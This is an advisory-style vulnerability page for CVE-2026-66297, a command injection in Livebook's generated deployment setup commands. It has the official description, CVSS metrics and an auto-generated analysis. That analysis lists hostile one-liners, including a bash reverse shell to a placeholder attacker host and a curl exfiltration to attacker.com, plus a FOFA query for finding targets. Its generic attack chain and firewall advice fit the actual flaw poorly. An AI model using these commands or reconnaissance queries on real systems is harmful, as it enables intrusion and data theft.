CVE Professor
›
Back
CVE-2026-66297

CVE-2026-66297 — Livebook-dev Livebook (0.18.7) — CWE-78

MEDIUM CVSS 5 CVE.org

CVE-2026-66297 is a MEDIUM severity Remote Code Execution (RCE) vulnerability (CWE-78) (CVSS 5.0/10) affecting Livebook-dev Livebook (0.18.7). Technical vector analysis shows that an attacker can exploit this flaw remotely over the network with high privileges (PR:H) requiring user interaction, resulting in complete compromise of system confidentiality and integrity (C:H/I:H).

📄 Official NVD / MITRE Original Record Text

Improper Neutralization of Special Elements used in an OS Command (OS Command Injection) vulnerability in livebook-dev livebook allows command injection into generated deployment setup commands. LivebookWeb.Hub.Teams.DeploymentGroupAgentComponent.docker_instructions/2 and LivebookWeb.Hub.Teams.DeploymentGroupAgentComponent.fly_instructions/4 in lib/livebook_web/live/hub/teams/deployment_group_agent_component.ex interpolate deployment group environment variable values into the generated Docker and Fly.io setup commands without shell escaping. The values originate from the deployment group configuration and reach the sinks through Livebook.Hubs.Dockerfile.online_docker_info/3. Both sinks place the value inside a double-quoted shell word, so a value containing a command substitution such as $(...) or backticks is evaluated by the shell without any need to break out of the quoting, and a literal double quote terminates the quoted word and allows arbitrary further tokens. The generated command is displayed in the Livebook web interface with a copy button, so a user who copies it and runs it without reviewing it first executes the injected commands on their own machine, under their own account. An attacker requires privileges sufficient to set deployment group environment variables, while the resulting code execution occurs on the machine of whoever runs the generated command. The Kubernetes instructions are not affected, because they render the same values into a YAML manifest with escaping rather than into a shell command. This issue affects livebook: from 0.13.0 before 0.18.7 and from 0.19.0 before 0.19.9.

Published 05.08.2026
ISO Date 2026-08-05
CVSS Version v4.0
Source CVE.org
CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. Present AT:P
Privileges Req. High PR:H
User Interaction Active UI:A
Vuln. Conf. None VC:N
Vuln. Integrity None VI:N
Vuln. Avail. None VA:N
Subseq. Conf. High SC:H
Subseq. Integ. High SI:H
Subseq. Avail. High SA:H
AI Security Analysis & Remediation
🤖 Generating Deep AI Security Analysis…
Analyzing CVSS vector & CWE weakness structure…

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-66297
CVSS 5/10 · MEDIUM · 05.08.2026
CWE: CWE-78
Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

🎯 WHAT IS THIS VULNERABILITY?
OS Command Injection
Summary: Improper Neutralization of Special Elements used in an OS Command (OS Command Injection) vulnerability in livebook-dev livebook allows command injection into generated deployment setup commands. LivebookWeb.Hub.Teams.DeploymentGroupAgentComponent.docker_instructions/2 and LivebookWeb.Hub.Teams.DeploymentGroupAgentComponent.fly_instructions/4 in lib/livebook_web/live/hub/teams/deployment_group_a…
Affected: livebook-dev:livebook, livebook-dev:livebook

⚡ ATTACK CHAIN
1. Test injection: ; id, | id, backtick execution.
2. Blind via time delay: ; sleep 5
3. Reverse shell: ; bash -i >& /dev/tcp/ATTACKER/4444 0>&1
4. OOB: ; curl https://attacker.com/$(whoami|base64)

🔧 Tools: commix, Metasploit, manual + netcat
🗺️ MITRE ATT&CK: T1059 (Command and Scripting Interpreter), T1190

🌍 REAL WORLD IMPACT
All confidential data readable/stealable; data can be modified or deleted; service can be completely taken down.

🛡️ REMEDIATION
→ Apply vendor security update for livebook-dev:livebook.
→ Never pass user input to shell commands.
→ Add WAF rule, create IDS alert for anomalous traffic.

⚠️ URGENCY
📋 Routine update cycle (30 days)

────────────────────────────────────────
[Kural Tabanlı Otomatik Güvenlik Analizi]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="livebook-dev livebook"
CVSS Score
5 / 10 · CVSS MEDIUM
Weakness Types (CWE)
CWE-78
Affected Products (2)
livebook-dev:livebook (0.18.7) livebook-dev:livebook (*)
Related CVEs
8.5
CVE-2026-132756
Geany through 2.1.0 contains an OS command injection vulnerability that allows attackers to run shell commands
7.8
CVE-2026-126826
A maliciously crafted SBSAR file, when imported or loaded through the Substance in 3ds Max plugin in Autodesk
7.5
CVE-2026-133081
In JetBrains TeamCity before 2026.2.2, 2026.1.6 remote code execution was possible via Git VCS root URLs
6.8
CVE-2026-133100
In JetBrains TeamCity before 2026.2.2, 2026.1.6 command injection in Project Import artifact copy scripts was
9.9
CVE-2026-129986
Dokploy is a free, self-hostable Platform as a Service (PaaS). Prior to 0.31.1, mount.deleteFileMount passes a
9.9
CVE-2026-129989
Dokploy is a free, self-hostable Platform as a Service (PaaS). Prior to 0.31.1, the Nixpacks publishDirectory